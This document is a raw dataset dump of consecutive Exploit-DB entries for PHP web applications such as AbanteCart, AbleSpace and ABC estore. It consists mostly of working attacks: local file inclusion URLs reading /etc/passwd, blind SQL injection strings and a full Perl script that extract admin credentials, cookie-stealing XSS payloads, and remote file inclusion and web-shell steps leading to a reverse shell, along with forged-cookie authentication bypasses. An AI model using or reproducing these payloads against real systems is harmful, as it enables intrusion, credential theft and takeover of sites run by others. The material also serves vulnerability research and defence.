deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20788
Description: AB Banner Exchange - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2012-08-24
Author: Yakir Wizman

Exploit:
-----------------------------------------------------------
AB Banner Exchange (index.php page) Local file inclusion
Bug discovered by Yakir Wizman
Date 24/08/2012
Vendor Homepage - http://www.abscripts.com/ab-banner-exchange/
Demo - http://www.scripts-demo.com/ab-banner-exchange/
ISRAEL
-----------------------------------------------------------
       Author will be not responsible for any damage.
-----------------------------------------------------------

About the Application
-----------------------------------------------------------
AB Banner Exchange is an advanced PHP script for running your own banner exchange system.


Proof Of Conecpt
-----------------------------------------------------------
Local file inclusion (Severity is high)
Vulnerable URL	: http://server/ab-banner-exchange/index.php?page=../../../../../../../../../../etc/passwd%00
Exploit-DB #40877
Description: AbanteCart 1.2.7 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2016-12-06
Author: Kacper Szurek

Exploit:
# Exploit Title: AbanteCart 1.2.7 Stored XSS
# Date: 06-12-2016
# Software Link: http://www.abantecart.com/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description

By default all user input is escaped using `htmlspecialchars`.

But we can pass `__e` value which is base64 encoded and unfortunatelly those datas are not cleaned.

http://security.szurek.pl/abantecart-127-stored-xss-and-sql-injection.html

2. Proof of Concept

For example `address_1="><script>alert(2);</script>&` can be encoded as: `__e=YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m`.

So create new order and set `address_1` value as `__e` using for example Burp:

```
Content-Disposition: form-data; name="__e"

YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m
```
Exploit-DB #51058
Description: Abantecart v1.3.2 - Authenticated Remote Code Execution
Type: webapps
Platform: php
Date: 2023-03-25
Author: Sarang Tumne

Exploit:
# Exploit Title: Abantecart v1.3.2 - Authenticated Remote Code Execution
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane)
# Date: 3rd Mar'2022
# CVE ID: CVE-2022-26521
# Confirmed on release 1.3.2
# Vendor: https://www.abantecart.com/download

###############################################
#Step1- Login with Admin Credentials
#Step2- Uploading .php files is disabled by default hence we need to abuse the functionality:
        Goto Catalog=>Media Manager=>Images=>Edit=> Add php in Allowed file extensions
#Step3- Now Goto Add Media=>Add Resource=> Upload php web shell
#Step4- Copy the Resource URL location and execute it in the browser e.g. :
Visit //IP_ADDR/resources/image/18/7a/4.php (Remove the //) and get the reverse shell:

listening on [any] 4477 ...
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.130] 34532
Linux debian 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64 GNU/Linux
 11:17:51 up  2:15,  1 user,  load average: 1.91, 1.93, 1.52
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
bitnami  tty1     -                09:05    1:05m  0.20s  0.01s -bash
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
daemon
$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
$
Exploit-DB #27934
Description: Abarcar Realty Portal 5.1.5 - 'content.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-01
Author: SpC-x

Exploit:
source: https://www.securityfocus.com/bid/18218/info

Abarcar Realty Portal is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/content.php?cat=[SQL]
Exploit-DB #28944
Description: Abarcar Realty Portal 5.1.5/6.0.1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-11-08
Author: Benjamin Moss

Exploit:
source: https://www.securityfocus.com/bid/20970/info

Abarcar Realty Portal is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/newsdetails.php?neid=[sql]
http://www.example.com/slistl.php?slid=[sql]
Exploit-DB #8555
Description: ABC Advertise 1.0 - Admin Password Disclosure
Type: webapps
Platform: php
Date: 2009-04-27
Author: SirGod

Exploit:
homepage : http://www.zakkis.ca./index.php?p=39
 
##############################################################
[+] ABC Advertise 1.0 Admin Data Disclosure
[+] Discovered By SirGod
[+] www.mortal-team.net
[+] www.h4cky0u.org
##############################################################
[+] Admin Data Disclosure
 
   - Go to
 
    http://127.0.0.1/[path]/admin.inc.php
 
   - You will find there the admin username and password.
 
   Example : login=admin pass=admin
 
##############################################################

# milw0rm.com [2009-04-27]
Exploit-DB #4338
Description: ABC estore 3.0 - 'cat_id' Blind SQL Injection
Type: webapps
Platform: php
Date: 2007-08-29
Author: k1tk4t

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
 print "\n  |-------------------------------------------------|";
 print "\n  |               newhack[dot]org                   |";
 print "\n  |-------------------------------------------------|";
 print "\n  |   ABC estore 3.0 (cat_id) Blind SQL Injection   |";
 print "\n  |     Found by k1tk4t [k1tk4t(at)newhack.org]     |";
 print "\n  |   DNX Code [dnx(at)hackermail.com] | Modified   |";
 print "\n  |-------------------------------------------------|";
 print "\n[!] Vendor: http://www.webtoolup.com/";
 print "\n[!] Bug: in the index.php script, u can inject sql code in the (cat_id) parameter";
 print "\n[!] Need Subcategories Product for success exploit";
 print "\n[!] Usage: perl abcestore.pl [Host] [Path] <Options>";
 print "\n[!] Example: perl abcestore.pl 127.0.0.1 /shop/ -c 10 -o 1 -t store_config";
 print "\n[!] Options:";
 print "\n       -c [no]       Valid cat_id products with subcategories, default is 1";
 print "\n       -o [no]       1 = get username (default)";
 print "\n                     2 = get password";
 print "\n       -t [name]     Changes the admin table name, default is store_config";
 print "\n       -p [ip:port]  Proxy support";
 print "\n";
 exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $cat     = 1;
my $column  = "user";
my $table   = "store_config";
my %options = ();
GetOptions(\%options, "c=i", "o=i", "t=s", "p=s");

print "[!] Exploiting...\n";

if($options{"c"}) { $cat = $options{"c"}; }
if($options{"o"} && $options{"o"} == 2) { $column = "pass"; }
if($options{"t"}) { $table = $options{"t"}; }

syswrite(STDOUT, "[!] Data : ", 12);

for(my $i = 1; $i <= 32; $i++)
{
 my $found = 0;
 my $h = 48;
 while(!$found && $h <= 57)
 {
   if(istrue2($host, $path, $table, $i, $h))
   {
     $found = 1;
     syswrite(STDOUT, chr($h), 1);
   }
   $h++;
 }
 if(!$found)
 {
   $h = 97;
   while(!$found && $h <= 122)
   {
     if(istrue2($host, $path, $table, $i, $h))
     {
       $found = 1;
       syswrite(STDOUT, chr($h), 1);
     }
     $h++;
   }
 }
}

print "\n[!] Exploit done\n";

sub istrue2
{
 my $host  = shift;
 my $path  = shift;
 my $table = shift;
 my $i     = shift;
 my $h     = shift;

 my $ua = LWP::UserAgent->new;
 my $url = "http://".$host.$path."index.php?cat_id=".$cat."%20AND%20SUBSTRING((SELECT%20".$column."%20FROM%20".$table."%20LIMIT%200,1),".$i.",1)=CHAR(".$h.")";

 if($options{"p"})
 {
   $ua->proxy('http', "http://".$options{"p"});
 }

 my $response = $ua->get($url);
 my $content = $response->content;
 my $regexp = "Subcategories";

 if($content =~ /$regexp/)
 {
   return 1;
 }
 else
 {
   return 0;
 }
}

# milw0rm.com [2007-08-29]
Exploit-DB #30071
Description: ABC Excel Parser Pro 4.0 - 'Parser_Path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-22
Author: the_Edit0r

Exploit:
source: https://www.securityfocus.com/bid/24103/info

ABC Excel Parser Pro is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

ABC Excel Parser Pro 4.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/sample/xls2mysql/parser_path=shell.txt?
Exploit-DB #6183
Description: ABG Blocking Script 1.0a - 'abg_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-08-01
Author: Lo$er

Exploit:
=================================================================
========Africa Be Gone version 1.0a Remote File Inclusion========
=================================================================

Vendor: http://www.africabegone.com
Download: http://www.africabegone.com/includes/downloads/index.php?file=1&sort=1
Discovered: 7-31-08
Discovered By: Lo$er

====Vulnerable code====

$abg_path is initilizied but overwritten later down the road.

====RFI====

http://www.[site].com/[abg path]/index.php?abg_path=[shell]?

# milw0rm.com [2008-08-01]
Exploit-DB #2823
Description: aBitWhizzy - 'abitwhizzy.php' Information Disclosure
Type: webapps
Platform: php
Date: 2006-11-21
Author: Security Access Point

Exploit:
aBitWhizzy [local file include]
vendor site: http://www.unverse.net/abitwhizzy/
product : aBitWhizzy 
bug:local file include
global risk : high


http://site.com/abitwhizzy.php?f=../../../../../../../etc/passwd


laurent gaffié & benjamin mossé
http://s-a-p.ca/
contact: saps.audit@gmail.com

# milw0rm.com [2006-11-21]
Exploit-DB #29786
Description: aBitWhizzy - 'whizzylink.php?d' Traversal Arbitrary Directory Listing
Type: webapps
Platform: php
Date: 2007-03-14
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/23167/info
 
aBitWhizzy is prone to multiple cross-site scripting and directory-traversal vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
An attacker could exploit these vulnerabilities to view the directory structure on the affected webserver and perform cross-site scripting attacks on unsuspecting users in the context of the affected website. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://localhost/abitwhizzy/whizzylink.php?d= ../../../../../../../Documents%20and%20Settings
Exploit-DB #31830
Description: AbleDating 2.4 - 'search_results.php?keyword' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-22
Author: Ali Jasbi

Exploit:
source: https://www.securityfocus.com/bid/29342/info
 
AbleDating is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data. The issues include an SQL-injection vulnerability and a cross-site scripting vulnerability.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, execute arbitrary local scripts, retrieve potentially sensitive information, or exploit latent vulnerabilities in the underlying database.
 
These issues affect AbleDating 2.4; other versions may also be vulnerable.
 
http://www.example.com/search_results.php?p_orientation%5B%5D=2&p_age_from=18&p_age_to=18&p_relation%5B%5D=on&keyword=>&#039;><ScRiPt%20%0a%0d>alert(42[PII_REDACTED]005)%3B</ScRiPt>&status=online&save_search=on&search_name=My%20search&photo=on
Exploit-DB #31829
Description: AbleDating 2.4 - 'search_results.php?keyword' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-22
Author: Ali Jasbi

Exploit:
source: https://www.securityfocus.com/bid/29342/info

AbleDating is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data. The issues include an SQL-injection vulnerability and a cross-site scripting vulnerability.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, execute arbitrary local scripts, retrieve potentially sensitive information, or exploit latent vulnerabilities in the underlying database.

These issues affect AbleDating 2.4; other versions may also be vulnerable.


http://www.example.com/search_results.php?p_age_from=18&p_age_to=18&keyword=[sql injection]&status=online&save_search=on&search_name=My%20search&photo=on&p_orientation%255B%255D=2&order=rating&sort=desc&p_relation%255B%255D=4&search
Exploit-DB #14026
Description: AbleDating script - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-24
Author: JaMbA

Exploit:
# Exploit Title: AbleDating script SQL injection Vulnerability
# Date: 24/06/2010
# Author: JaMbA
# Script url: http://www.abk-soft.com/matchmaking_software_demo.html
# Version: N/A
# Tested on: Windows
# CVE : ()

:::::::::::::::::::::::::

:::::::::::::::::::::::::

=================Exploit======
============



[ EXPL0!T ]

http://server/path/news.php?view=3(SQL)



===========================================================

Greetz to : Alnjm33-virus-pal - Predator-Ahmadso - xXx-jago-dz
-inejcteur-4PY-SaYrOs- XR57 -Tr0y-x -alsaek
And All Tunisian hacker

=== SwT Labs ====
Exploit-DB #26919
Description: AbleDesign D-Man 3.0 - 'Title' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-20
Author: $um$id

Exploit:
source: https://www.securityfocus.com/bid/15993/info

D-Man is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'title' parameter.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. 

http://www.example.com/index.php?go=admin&do=do_search&du=usergroup&title=[code]&search=single
Exploit-DB #29621
Description: AbleDesign MyCalendar 2.20.3 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-02-20
Author: sn0oPy

Exploit:
source: https://www.securityfocus.com/bid/22635/info

MyCalendar is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Version 2.20.3 is vulnerable; other versions may also be affected.

http://www.example.com/calendar/index.php?go="><script>alert(document.cookie)</script>
Exploit-DB #32302
Description: AbleSpace 1.0 - 'adv_cat.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-27
Author: Bug Researchers Group

Exploit:
source: https://www.securityfocus.com/bid/30864/info

AbleSpace is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects AbleSpace 1.0 and earlier.

http://www.example.com/adv_cat.php?find_str="><script>alert('1')</script>&cat_id=1&razd_id=&x=0&y=0
Exploit-DB #31842
Description: AbleSpace 1.0 - 'adv_cat.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-26
Author: Jasbi

Exploit:
source: https://www.securityfocus.com/bid/29369/info

AbleSpace is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

AbleSpace 1.0 is vulnerable; other versions may also be affected.

Http://www.example.com/ablespace/adv_cat.php?cat_id=[sql inection]
Exploit-DB #34197
Description: AbleSpace 1.0 - 'news.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-25
Author: JaMbA

Exploit:
source: https://www.securityfocus.com/bid/41139/info

AbleSpace is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

AbleSpace 1.0 is vulnerable; other versions may be affected as well. 

http://www.example.com/path/news.php?view=3(SQL)
Exploit-DB #8424
Description: ablespace 1.0 - Cross-Site Scripting / Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-04-14
Author: DSecRG

Exploit:
riginal advisory:  http://dsecrg.com/pages/vul/show.php?id=137

Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-037

Application:                    AbleSpace
Versions Affected:              1.0
Vendor URL:                     http://abk-soft.com/
Bugs:                           Multiple Blind SQL Injections, Multiple XSS
Exploits:                       YES
Reported:                       18.03.2009
Vendor Response:                NONE
Secondly Reported:              29.03.2009
Solution:                       NONE
Date of Public Advisory:        14.04.2009
Author:                         Eugene "Corwin" Ermakov
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Details
*******

1. Multiple Blind Sql Injections

1.1 Attacker can inject SQL code in events_view.php vulnerable parametr eid

Example:
http://[server]/[installdir]/events_view.php?eid=69'

1.2 Attacker can inject SQL code in events_clndr_view.php vulnerable parametr id

Example:
http://[server]/[installdir]/events_clndr_view.php?id=1 and substring(@@version,1,1)=4
http://[server]/[installdir]/events_clndr_view.php?id=1 and ascii(substring((select password from user where name='Mike'),1,1)) between 97 and 103
http://[server]/[installdir]/events_clndr_view.php?id=1 and ascii(substring((select concat_ws(0x3a,name,password) from user where name='Mike'),1,1)) =77
http://[server]/[installdir]/events_clndr_view.php?id=1 and ascii(substring((select concat_ws(0x3a,name,password) from user where user_id=1),1,1)) between 1 and 200


2. Stored XSS

2.1 Vulnerability found in script blogs_full.php

Example:
<IMG SRC=javascript:alert('XSS')>

3. Multiple Linked XSS

3.1 Linked XSS vulnerabiliies found in groups_profile.php. GET parameter "gid"

Example:
http://[server]/[installdir]/groups_profile.php?gid=311"><script>alert()</script>

3.2 Linked XSS vulnerabiliies found in adv_cat.php. GET parameter "cat_id", "razd_id"

Example:
http://[server]/[installdir]/adv_cat.php?cat_id=4"><script>alert()</script>&razd_id=45"><script>alert()</script>



Solution
********

We did not get any response from vendor for more than 2 weeks.

No patches aviable.



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk
analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted
regularly on our website.


Contact:    research [at] dsecrg [dot] com
            http://www.dsecrg.com
            http://www.dsec.ru

# milw0rm.com [2009-04-14]
Exploit-DB #6890
Description: Absolute Banner Manager - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-10-31
Author: Hakxer

Exploit:
###############################################################################################
 _____    ____   __  ___    ______   ______       |   ____   _____     _____
|        / ___|  \ \ / /   / ____|  /      |      |  |      |  _  \   |
|_____  | |  _    \ V /    | |      |      |   ___|  |_____ | |_)  |  |_____
|       | |_ ||    | |     | |____  |      |  |   |  |      |   _  |        |
|_____   \____|    |_|      \_____|  \_____/  |___|  |____  |__| \_\  ______|

[~] Author : Hakxer
[~] Home : Www.educ-up.com
[~] Type Gap : Insecure Cookie Handling
[~] script : Absolute Banner Manager [see script] http://www.xigla.com/absolutebmnet/demo.htm
[~] Team : EgY Coders 
#################################################################################################

Exploit : First go to http://www.xigla.com/absolutebmnet/demo/login.aspx
Second Execute JS Code 
[~] javascript:document.cookie="xlaABM_usr=userid=administrator&company=Sytem Administrator";
Now Go to http://www.xigla.com/absolutebmnet/demo/menu.aspx

--- Proud To Be A Muslim ---

# _=END=_ # 

# milw0rm.com [2008-10-31]
Exploit-DB #6889
Description: Absolute Content Rotator 6.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-10-31
Author: Hakxer

Exploit:
###############################################################################################
 _____    ____   __  ___    ______   ______       |   ____   _____     _____
|        / ___|  \ \ / /   / ____|  /      |      |  |      |  _  \   |
|_____  | |  _    \ V /    | |      |      |   ___|  |_____ | |_)  |  |_____
|       | |_ ||    | |     | |____  |      |  |   |  |      |   _  |        |
|_____   \____|    |_|      \_____|  \_____/  |___|  |____  |__| \_\  ______|

[~] Author : Hakxer
[~] Home : Www.educ-up.com
[~] Type Gap : Insecure Cookie Handling
[~] script : Absolute Content Rotator 6.0 [see script] http://www.xigla.com/absolutecr/demo.htm
[~] Team : EgY Coders 
#################################################################################################

Exploit : First go to http://www.xigla.com/absolutecr/demo/login.aspx
Second Execute 
[~] javascript:document.cookie="xlaACRDEMOuser=userid=1&lvl=1&s=";
Now Go to http://www.xigla.com/absolutecr/demo/menu.aspx


--- Proud To Be A Muslim ---

# _=END=_ # 

# milw0rm.com [2008-10-31]
Exploit-DB #6893
Description: Absolute Control Panel XE 1.5 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-10-31
Author: Hakxer

Exploit:
###############################################################################################
 _____    ____   __  ___    ______   ______       |   ____   _____     _____
|        / ___|  \ \ / /   / ____|  /      |      |  |      |  _  \   |
|_____  | |  _    \ V /    | |      |      |   ___|  |_____ | |_)  |  |_____
|       | |_ ||    | |     | |____  |      |  |   |  |      |   _  |        |
|_____   \____|    |_|      \_____|  \_____/  |___|  |____  |__| \_\  ______|

[~] Discovered By : Hakxer
[~] Home : Www.educ-up.com
[~] Type Gap : Insecure Cookie Handling
[~] script : Absolute Control Panel XE [see script] http://www.xigla.com/absolutecp/demo.htm
[~] Greetz : Allah , Egyptian x hacker , All my team , All educ-up Member
[~] Team : EgY Coders 
#################################################################################################

Exploit : First go to http://www.xigla.com/absolutecp/xlaabsolutecp/login.asp
Second Execute JS Code 
[~] javascript:document.cookie="xlaCPadmin=lvl=1&email=email@here.com&[CREDENTIAL_REDACTED]=admin&userid=1";
Now Go to http://www.xigla.com/absolutecp/xlaabsolutecp/menu.asp

--- Proud To Be A Muslim ---

# _=END=_ # 

# milw0rm.com [2008-10-31]